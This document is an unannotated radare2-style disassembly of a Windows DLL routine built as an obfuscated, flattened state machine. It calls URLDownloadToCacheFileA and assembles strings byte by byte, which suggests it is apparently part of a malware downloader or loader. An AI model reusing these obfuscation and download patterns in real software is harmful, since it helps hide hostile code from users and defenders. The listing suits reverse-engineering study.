movsx edx, byte [r8]
lea eax, [rdx - 0x30]
cmp eax, 9
ja case.default.0x18000f94a
cdqe
mov ecx, dword [r9 + rax*4 + 0x104b4]
add rcx, r9
jmp rcx
mov r8, qword [r10 + 8]
lea rcx, [rbp - 0x60]
mov byte [rsp + 0x30], dl
mov r9d, 0x52
lea rdx, [rsp + 0x30]
call fcn.18001f4f0
mov r10, qword [rsp + 0x38]
mov eax, 0x11
jmp 0x18000edb6
cmp dword [r10 + 4], 0
jne 0x18000edb1
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xffffffffffffffff
jae 0x18000edac
xor edi, edi
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [rdi + 0x50]
call fcn.18000c140
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
test rax, rax
je 0x18000fb4a
movzx ecx, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], cl
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
mov r8, rax
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], eax
jmp 0x18000edb1
mov r10, qword [rsp + 0x38]
mov eax, 0x18
mov dword [r10], eax
lea r9, [0x180000000]
mov eax, ebx
add eax, 0xc2
mov r8d, 0
cmp eax, 0x29f
jb 0x18000e5d0
mov edi, 0xe0
jmp case.default.0x18000e51b
mov eax, 0x126
nop word [rax + rax]
cmp eax, 0x126
je 0x18000fac8
dec eax
cmp eax, 0x125
ja 0x18000edf0
mov edi, 0xdf
mov eax, 0x97
nop
cmp eax, 0x97
je 0x18000f9d8
add eax, 0x2657
cmp eax, 0x2657
jbe 0x18000ee10
jmp case.default.0x18000e51b
mov ecx, 0x3b
mov eax, ecx
sub eax, 0x3a
je 0x18001005d
cmp eax, 1
je 0x18000fe32
dec ecx
cmp ecx, 0x39
ja 0x18000ee31
mov ecx, 0x10b
mov eax, ecx
sub eax, 0x10b
je 0x18000ee68
cmp eax, 1
je 0x18000e399
jmp 0x18000ef5c
movsx eax, byte [r8]
add eax, 0xffffffd5
cmp eax, 0xe
ja case.default.0x18000f94a
cdqe
mov ecx, dword [r9 + rax*4 + 0x104dc]
add rcx, r9
jmp rcx
mov dword [r10 + 4], r8d
lea rdx, [rsp + 0x30]
movzx eax, byte [r8]
lea rcx, [rbp - 0x60]
mov r8, qword [r10 + 8]
mov r9d, 0x52
mov byte [rsp + 0x30], al
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
mov eax, 0x16
jmp 0x18000ef45
cmp dword [r10 + 4], 0
jne 0x18000ef40
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000ef33
xor edi, edi
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
movzx eax, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000ef40
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
mov eax, 0x15
mov dword [r10], eax
lea r9, [0x180000000]
mov ecx, 0x10b
mov dword [rsp + 0x40], 1
inc ecx
mov r8d, 0
cmp ecx, 0x10d
jb 0x18000ee51
mov edi, 0xde
jmp case.default.0x18000e51b
mov ecx, 0xa3
nop
mov eax, ecx
sub eax, 0xa3
je 0x18000efa3
sub eax, 1
je 0x18000ef99
cmp eax, 1
je 0x18000e399
jmp 0x18000f002
mov dword [rsp + 0x40], 1
jmp 0x18000f002
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x10528]
mov ecx, dword [r9 + rax*4 + 0x10518]
add rcx, r9
jmp rcx
mov qword [r10 + 8], r8
mov dword [r10], 1
jmp case.0x18000efc9.9
mov rax, qword [reloc.COMCTL32.dll_CreateMappedBitmap]
test rax, rax
je 0x18000eff6
call rax
mov r10, qword [rsp + 0x38]
lea r9, [0x180000000]
xor r8d, r8d
mov dword [r10], 0x1a
mov ecx, 0xa3
inc ecx
cmp ecx, 0xa6
jb 0x18000ef80
mov ecx, 0xcb
mov eax, ecx
sub eax, 0xcb
je 0x18000f038
sub eax, 1
je 0x18000f02e
cmp eax, 1
je 0x18000e399
jmp 0x18000f0a1
mov dword [rsp + 0x40], 1
jmp 0x18000f0a1
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x105b4]
mov ecx, dword [r9 + rax*4 + 0x105a0]
add rcx, r9
jmp rcx
mov rax, qword [reloc.COMCTL32.dll_CreateMappedBitmap]
test rax, rax
je case.0x18000f05e.9
call rax
jmp case.0x18000f05e.9
mov rax, qword [0x18]
test rax, rax
je case.0x18000f05e.9
call rax
jmp case.0x18000f05e.9
mov rax, qword [0x50]
test rax, rax
je 0x18000f091
call rax
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x1b
mov ecx, 0xcb
inc ecx
lea r9, [0x180000000]
mov r8d, 0
cmp ecx, 0xce
jb 0x18000f015
mov r10, qword [rsp + 0x38]
lea r11d, [r8 + 0xa]
mov ecx, 0x40
nop word [rax + rax]
mov eax, ecx
sub eax, 0x40
je 0x18000f0f7
sub eax, 1
je 0x18000f0ea
cmp eax, 1
je 0x18000e399
jmp 0x18000f478
mov dword [rsp + 0x40], 1
jmp 0x18000f478
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x72
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x10658]
mov ecx, dword [r9 + rax*4 + 0x1062c]
add rcx, r9
jmp rcx
mov dword [r10], 1
mov qword [r10 + 8], r8
jmp case.0x18000f11d.9
mov rax, qword [r8]
test rax, rax
je 0x18000f13e
call rax
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x19
jmp case.0x18000f11d.9
mov rax, qword [0x10]
test rax, rax
je case.0x18000f11d.9
call rax
jmp case.0x18000f11d.9
mov dword [r10], 7
jmp case.0x18000f11d.9
mov dword [r10], r11d
jmp case.0x18000f11d.9
mov dword [r10], 0xe
jmp case.0x18000f11d.9
mov edi, 0xfc
nop word [rax + rax]
mov eax, edi
sub eax, 0xfa
je case.0x18000f11d.9
sub eax, 1
je 0x18000f1f2
cmp eax, 1
jne 0x18000f2de
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov dword [r10], 0x11
xor r8d, r8d
mov qword [rsp + 0x58], 5
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x50]
call fcn.18000c140
mov r10, qword [rsp + 0x38]
mov qword [r10 + 8], rax
test rax, rax
je 0x18000fb4a
jmp 0x18000f2db
mov r8, qword [r10 + 8]
lea rdx, [rsp + 0x30]
mov r9d, 0x52
mov byte [rsp + 0x30], 0x30
lea rcx, [rbp - 0x60]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov ebx, 6
nop dword [rax]
mov eax, ebx
sub eax, 4
je 0x18000f2b1
sub eax, 1
je 0x18000f294
cmp eax, 1
jne 0x18000f2cb
movzx eax, word [0x18005a0f4]
lea rdx, [0x180058b58]
mov word [rbp + 0xc0], ax
lea rcx, [rbp + 0xc2]
movzx eax, byte [0x18005a0f6]
mov r8d, 2
mov byte [rbp + 0xc2], al
call fcn.1800331c0
mov r8d, 2
lea rdx, [0x180058814]
lea rcx, [rbp + 0xc3]
call fcn.1800331c0
jmp 0x18000f2cb
lea rdx, str.crollI
lea rcx, [rbp + 0xc4]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov qword [rbp + 0xca], r15
jmp 0x18000f2cb
mov r8, qword [sym.imp.USER32.dll_SetScrollInfo]
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xe0]
call fcn.1800010d0
dec ebx
cmp ebx, 3
ja 0x18000f230
mov r10, qword [rsp + 0x38]
xor r8d, r8d
dec edi
cmp edi, 0xf9
ja 0x18000f190
mov ebx, 0x50
cmp ebx, 0x50
je 0x18000f3e1
cmp ebx, 0xd70
je 0x18000f392
cmp ebx, 0x1a90
je 0x18000f34f
cmp ebx, 0x27b0
je 0x18000f327
cmp ebx, 0x34d0
je case.0x18000f11d.9
jmp 0x18000f3e5
mov r8d, dword [rbp - 0x68]
lea r9, [rbp - 0x30]
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
mov dword [rsp + 0x20], 1
call qword [sym.imp.COMCTL32.dll_CreateMappedBitmap]
mov r10, qword [rsp + 0x38]
jmp 0x18000f3e5
movzx eax, byte [r8]
lea rdx, [rsp + 0x30]
mov qword [rbp - 0x30], r8
lea rcx, [rbp - 0x60]
mov r8, qword [r10 + 8]
mov r9d, 0x52
mov byte [rsp + 0x30], al
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
jmp 0x18000f3e5
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rbp - 0x38], r8
xor r8d, r8d
mov dword [r10], 0x18
xor ecx, ecx
mov dword [rbp - 0x68], 2
mov qword [rsp + 0x58], 5
lea edx, [r9 + 0x50]
mov qword [rsp + 0x20], rax
call fcn.18000c140
mov r10, qword [rsp + 0x38]
mov qword [r10 + 8], rax
test rax, rax
je 0x18000fb4a
jmp 0x18000f3e5
mov qword [rbp - 0x40], r8
add ebx, 0xd20
mov r8d, 0
cmp ebx, 0x41a0
jbe 0x18000f2f1
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov dword [r10], 0x17
xor r8d, r8d
mov qword [rsp + 0x58], 8
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x50]
call fcn.18000c140
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
test rax, rax
je 0x18000fb4a
mov r9d, 0x52
mov byte [rsp + 0x30], 0x2d
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov ecx, 0x40
mov r10, qword [rsp + 0x38]
lea r9, [0x180000000]
mov r8d, 0
inc ecx
lea r11d, [r8 + 0xa]
cmp ecx, 0x43
jb 0x18000f0d0
mov edi, 0xe2
jmp case.default.0x18000e51b
mov ecx, 0xa1
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xa1
je 0x18000f4e2
sub eax, 1
je 0x18000f5af
sub eax, 1
je 0x18000f4d5
cmp eax, 1
je 0x18000e399
jmp 0x18000f5af
mov dword [rsp + 0x40], 1
jmp 0x18000f5af
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x106ec]
mov ecx, dword [r9 + rax*4 + 0x106cc]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000f5a3
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xffffffffffffffff
jae 0x18000f5f8
xor ebx, ebx
mov qword [rsp + 0x58], 5
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [rbx + 0x50]
call fcn.18000c140
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
test rax, rax
je 0x18000fb4a
movzx ecx, byte [rbx]
lea r9d, [rbx + 0x52]
mov byte [rsp + 0x30], cl
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
mov r8, rax
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov ecx, 0xa1
lea r9, [0x180000000]
mov r10, qword [rsp + 0x38]
inc ecx
mov r8d, 0
cmp ecx, 0xa5
jb 0x18000f4b0
mov edi, 0xe1
mov r10, qword [rsp + 0x38]
lea r9, [0x180000000]
mov edx, dword [rsp + 0x50]
mov ebx, 0x59
inc edi
xor r8d, r8d
lea r11d, [rbx - 0x4f]
lea r12d, [rbx - 0x39]
lea r13d, [rbx - 0x34]
jmp 0x18000e4f6
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 1
jmp 0x18000f5a3
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x58], 5
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x50]
call fcn.18000c140
mov rbx, qword [rsp + 0x38]
mov qword [rbx + 8], rax
test rax, rax
je 0x18000fb4a
mov r9d, 0x52
mov byte [rsp + 0x30], 0x2e
mov r8, rax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov dword [rbx], 0x12
jmp 0x18000f5a3
mov eax, 0x2d
cmp eax, 0x2d
je 0x18000f6bd
inc eax
cmp eax, 0x2e
jb 0x18000f685
mov ebx, 0xf9
nop word [rax + rax]
cmp ebx, 0xf9
je 0x18000f73a
cmp ebx, 0x17e
je 0x18000f5a3
jmp 0x18000f774
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x58], 5
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x50]
call fcn.18000c140
mov rbx, qword [rsp + 0x38]
mov qword [rbx + 8], rax
test rax, rax
je 0x18000fb4a
xor edi, edi
lea rdx, [rsp + 0x30]
mov r8, rax
movzx ecx, byte [rdi]
lea r9d, [rdi + 0x52]
mov byte [rsp + 0x30], cl
lea rcx, [rbp - 0x60]
call fcn.18001f4f0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x50], xmm0
cmp eax, 1
jne 0x18000fb4a
mov qword [rbx], 0x14
jmp 0x18000f5a3
mov rcx, qword [r10 + 8]
lea rdi, [r10 + 8]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000f75d
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rdi
call fcn.18001b410
mov r10, qword [rsp + 0x38]
xor eax, eax
mov dword [r10], eax
add ebx, 0x85
cmp ebx, 0x203
jb 0x18000f6a0
mov ebx, 0x88
nop dword [rax + rax]
cmp ebx, 0x88
je 0x18000f7b0
cmp ebx, 0x4598
jne 0x18000f7ee
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x1a
jmp 0x18000f5a3
mov rcx, qword [r10 + 8]
lea rdi, [r10 + 8]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000f7d3
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rdi
call fcn.18001b410
xor eax, eax
cmp qword [rax], rax
je 0x18000f7ee
call qword [reloc.COMCTL32.dll_CreateMappedBitmap]
mov r10, qword [rsp + 0x38]
add ebx, 0x4510
cmp ebx, 0x8a20
jbe 0x18000f790
mov ebx, 0x89
cmp ebx, 0x89
je 0x18000f818
cmp ebx, 0x6054
je 0x18000f7a0
jmp 0x18000f858
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000f83c
mov rcx, qword [rcx]
call rax
mov edx, 0x71
lea rcx, [rdi + 8]
call fcn.18001b410
xor eax, eax
cmp qword [rax], rax
je 0x18000f858
call qword [0x18]
add ebx, 0x5fcb
cmp ebx, 0xbf96
jbe 0x18000f806
mov ebx, 0x8f
nop dword [rax + rax]
cmp ebx, 0xbdec
ja case.default.0x18000f94a
cmp ebx, 0x8f
je 0x18000f912
cmp ebx, 0x268b
je 0x18000f8de
cmp ebx, 0x4c87
je 0x18000f8c7
cmp ebx, 0x7283
je 0x18000f8b4
cmp ebx, 0x987f
je 0x18000f5a3
add ebx, 0x25fc
jmp 0x18000f870
mov rax, qword [rsp + 0x38]
add ebx, 0x25fc
mov dword [rax], 0x1b
jmp 0x18000f870
mov rax, qword [0x48]
test rax, rax
je 0x18000f922
call rax
add ebx, 0x25fc
jmp 0x18000f870
mov rax, qword [0x28]
mov rdi, qword [rsp + 0x38]
test rax, rax
je 0x18000f8f9
mov rcx, qword [rdi + 8]
mov rcx, qword [rcx]
call rax
mov edx, 0x71
lea rcx, [rdi + 8]
call fcn.18001b410
add ebx, 0x25fc
jmp 0x18000f870
mov rax, qword [rsp + 0x38]
cmp qword [rax + 8], 0
je 0x18000fb4a
add ebx, 0x25fc
jmp 0x18000f870
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x18000f94a
cdqe
mov ecx, dword [r9 + rax*4 + 0x10764]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18000f9a3
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xffffffffffffffff
jae 0x18000f9b7
xor eax, eax
lea rdx, [rsp + 0x30]
mov r9d, 0x52
lea rcx, [rbp - 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
mov eax, dword [rax]
cmp eax, 1
jne 0x18000fb4a
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x13
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
mov dword [r10], 0x13
mov dword [rsp + 0x40], 1
jmp 0x18000e399
movsx eax, byte [r8]
add eax, 0xffffffd0
cmp eax, 9
ja case.default.0x18000f94a
cdqe
mov ecx, dword [r9 + rax*4 + 0x1078c]
add rcx, r9
jmp rcx
mov eax, dword [rbp - 0x68]
mov ebx, 0x3c
mov r9d, dword [rbp - 0x68]
mov rdi, qword [rbp - 0x40]
cmp ebx, 0x3c
je 0x18000fa40
cmp ebx, 0x27d8
jne 0x18000fab1
mov qword [rsp + 0x28], r8
xor edx, edx
lea r8, [rbp + 0xe0]
mov dword [rsp + 0x20], eax
mov rcx, rdi
call qword [sym.imp.urlmon.dll_URLDownloadToCacheFileA]
mov dword [rsp + 0x40], 1
jmp 0x18000e399
cmp dword [r10 + 4], 0
mov rdi, r8
jne 0x18000faa1
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000fa91
xor eax, eax
lea rdx, [rsp + 0x30]
mov r9d, 0x52
lea rcx, [rbp - 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
mov r10, qword [rsp + 0x38]
jmp 0x18000fa9e
mov r10, qword [rsp + 0x38]
mov dword [r10 + 4], 1
xor r8d, r8d
mov r9d, 0x104
mov dword [r10], 0x15
mov eax, r8d
add ebx, 0x279c
cmp ebx, 0x4f38
jbe 0x18000fa07
jmp case.default.0x18000f94a
movsx eax, byte [r8]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x107cc]
mov ecx, dword [r9 + rax*4 + 0x107b4]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18001005d
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xfffffffffffffffe
jae 0x18000fe82
xor eax, eax
lea rdx, [rsp + 0x30]
mov r9d, 0x52
lea rcx, [rbp - 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x38]
mov r8, qword [rax + 8]
call fcn.18001f4f0
mov eax, dword [rax]
cmp eax, 1
je 0x18001005d
mov dword [rsp + 0x40], 6
jmp 0x18000e399
mov ecx, 0xb1
lea rbx, [r10 + 8]
mov eax, ecx
sub eax, 0xb0
je 0x18000fc1b
cmp eax, 1
jne 0x18000fb78
cmp qword [rbx], 0
je 0x18000fb4a
dec ecx
cmp ecx, 0xaf
ja 0x18000fb60
mov rdi, qword [rbp - 0x40]
mov ebx, 0x2f
nop dword [rax + rax]
cmp ebx, 0x2f
je 0x18000fc9c
cmp ebx, 0xbf
je 0x18000fc53
cmp ebx, 0x14f
jne 0x18000fca7
mov ebx, 0xba
lea esi, [rbx - 0x48]
nop dword [rax]
mov eax, ebx
sub eax, 0xb6
je 0x18000fdac
sub eax, 1
je 0x18000fd5f
sub eax, 1
je 0x18000fd2e
sub eax, 1
je 0x18000fd0b
cmp eax, 1
jne 0x18000fdc2
movzx eax, word [0x18005a0f0]
mov dword [rbp + 0xc0], 0x746547
mov word [rbp + 0xc3], ax
movzx eax, byte [0x18005a0f2]
mov byte [rbp + 0xc5], al
jmp 0x18000fdc2
mov rax, qword [0x28]
test rax, rax
je 0x18000fc30
mov rcx, qword [rbx]
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rbx
call fcn.18001b410
mov rax, qword [rsp + 0x38]
xor edi, edi
mov dword [rax], edi
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov rax, qword [0x28]
lea rdi, [r10 + 8]
test rax, rax
je 0x18000fc6c
mov rcx, qword [rdi]
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rdi
call fcn.18001b410
mov rdi, qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
xor eax, eax
cmp qword [rax], rax
je 0x18000fc8e
call qword [reloc.COMCTL32.dll_CreateMappedBitmap]
mov r10, qword [rsp + 0x38]
mov dword [r10], 0x1a
jmp 0x18000fca7
cmp qword [r10 + 8], 0
je 0x18000fb4a
add ebx, 0x90
cmp ebx, 0x1df
jb 0x18000fb90
mov rax, qword [0x28]
test rax, rax
je 0x18000fcd8
mov rcx, qword [r10 + 8]
test rcx, rcx
je 0x18000fb4a
mov rcx, qword [rcx]
call rax
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rbx + 8]
call fcn.180033324
xor eax, eax
mov qword [rbx + 8], rax
cmp qword [rax], rax
je 0x18000fcf8
call qword [0x18]
mov dword [rbx], 0x1a
mov dword [rsp + 0x40], 1
jmp 0x18000e399
lea rcx, [rbp + 0xc0]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x18000fd15
movzx eax, word [0x180058d6c]
mov word [rcx], ax
jmp 0x18000fdc2
lea rdx, [0x1800587f8]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
movzx eax, word [0x1800599dc]
mov word [rbp + 0xc7], ax
movzx eax, byte [0x1800599de]
mov byte [rbp + 0xc9], al
jmp 0x18000fdc2
movzx eax, word [0x18005a0e0]
mov word [rbp + 0xc9], si
mov word [rbp + 0xca], ax
movzx eax, word [0x1800593f0]
mov word [rbp + 0xcc], ax
movzx eax, word [0x18005a0e4]
mov word [rbp + 0xce], ax
mov eax, dword [str.fo__p]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x18005a0ec]
mov word [rbp + 0xd4], ax
jmp 0x18000fdc2
mov r8, rdi
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xe0]
call fcn.1800010d0
dec ebx
cmp ebx, 0xb5
ja 0x18000fbc0
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov rax, qword [0x28]
test rax, rax
je 0x18000fdfc
mov rcx, qword [r10 + 8]
test rcx, rcx
je 0x18000fb4a
mov rcx, qword [rcx]
call rax
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rbx + 8]
call fcn.180033324
xor eax, eax
mov qword [rbx + 8], rax
mov rax, qword [0x48]
test rax, rax
je 0x18000fe1f
call rax
mov dword [rbx], 0x1b
mov dword [rsp + 0x40], 1
jmp 0x18000e399
movsx edx, byte [r8]
lea eax, [rdx - 9]
cmp eax, 0x74
ja case.default.0x18000f94a
cdqe
movzx eax, byte [r9 + rax + 0x10860]
mov ecx, dword [r9 + rax*4 + 0x10844]
add rcx, r9
jmp rcx
cmp dword [r10 + 4], 0
jne 0x18001005d
mov rcx, qword [r10 + 8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf8
call fcn.180009cf0
cmp rax, 0xffffffffffffffff
jmp 0x18000fb13
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 1
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov r8, qword [r10 + 8]
lea rcx, [rbp - 0x60]
mov byte [rsp + 0x30], dl
mov r9d, 0x52
lea rdx, [rsp + 0x30]
call fcn.18001f4f0
mov eax, dword [rax]
cmp eax, 1
jne 0x18000fb4a
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x14
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov ebx, 0xee
nop
mov eax, ebx
sub eax, 0xec
je 0x18000ff53
sub eax, 1
je 0x18000ff00
cmp eax, 1
jne 0x18000ff26
cmp qword [r10 + 8], 0
je 0x18000fb4a
jmp 0x18000ff26
mov rax, qword [0x28]
lea rdi, [r10 + 8]
test rax, rax
je 0x18000ff19
mov rcx, qword [rdi]
mov rcx, qword [rcx]
call rax
mov edx, 0x71
mov rcx, rdi
call fcn.18001b410
mov r10, qword [rsp + 0x38]
dec ebx
cmp ebx, 0xeb
ja 0x18000fee0
mov esi, 0x59
nop word [rax + rax]
cmp esi, 0x59
je 0x18000ff65
cmp esi, 0x1378
je 0x18001005d
jmp 0x18000ffab
xor eax, eax
mov dword [r10], eax
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x18000ff89
mov rcx, qword [rcx]
call rax
mov edx, 0x71
lea rcx, [rdi + 8]
call fcn.18001b410
xor eax, eax
cmp qword [rax], rax
je 0x18000ffa5
call qword [reloc.COMCTL32.dll_CreateMappedBitmap]
mov dword [rdi], 0x1a
add esi, 0x131f
cmp esi, 0x263e
jbe 0x18000ff40
mov rax, qword [0x28]
mov rdi, qword [rsp + 0x38]
test rax, rax
je 0x18000ffef
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x18000fb4a
mov rcx, qword [rcx]
call rax
mov edx, 0x71
lea rcx, [rdi + 8]
call fcn.18001b410
xor eax, eax
jmp 0x180010003
mov edx, 0x71
lea rcx, [rdi + 8]
call fcn.18001b410
xor eax, eax
mov qword [rdi + 8], rax
cmp qword [rax], 0
je 0x180010010
call qword [0x18]
mov dword [rdi], 0x1a
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov ebx, 0x4d
cmp ebx, 0x4d
je 0x18001006a
cmp ebx, 0x1e14
jne 0x180010089
lea rcx, [r10 + 8]
mov edx, 0x71
call fcn.18001b410
mov rax, qword [0x48]
test rax, rax
je 0x180010052
call rax
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x1b
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov rcx, qword [r10 + 8]
test rcx, rcx
je 0x18000fb4a
mov rax, qword [0x28]
test rax, rax
je 0x180010089
mov rcx, qword [rcx]
call rax
add ebx, 0x1dc7
cmp ebx, 0x3b8e
ja case.default.0x18000f94a
mov r10, qword [rsp + 0x38]
jmp 0x180010028
cmp byte [r8], 0x61
jne case.default.0x18000f94a
mov dword [r10], 0xb
mov dword [rsp + 0x40], 1
jmp 0x18000e399
mov r11d, 0xa
mov dword [rsp + 0x40], r11d
jmp 0x18000e399
cmp byte [r8], 0x73
jne case.default.0x18000f94a
mov dword [r10], 0xd
mov dword [rsp + 0x40], 1
jmp 0x18000e399
cmp byte [r8], 0x6c
jne case.default.0x18000f94a
mov dword [r10], 0x10
mov dword [rsp + 0x40], 1
jmp 0x18000e399
cmp byte [r8], 0x6c
jne case.default.0x18000f94a
mov dword [r10], 0xc
mov dword [rsp + 0x40], 1
jmp 0x18000e399
cmp byte [r8], 0x75
jne case.default.0x18000f94a
mov dword [r10], 0xf
mov dword [rsp + 0x40], 1
jmp 0x18000e399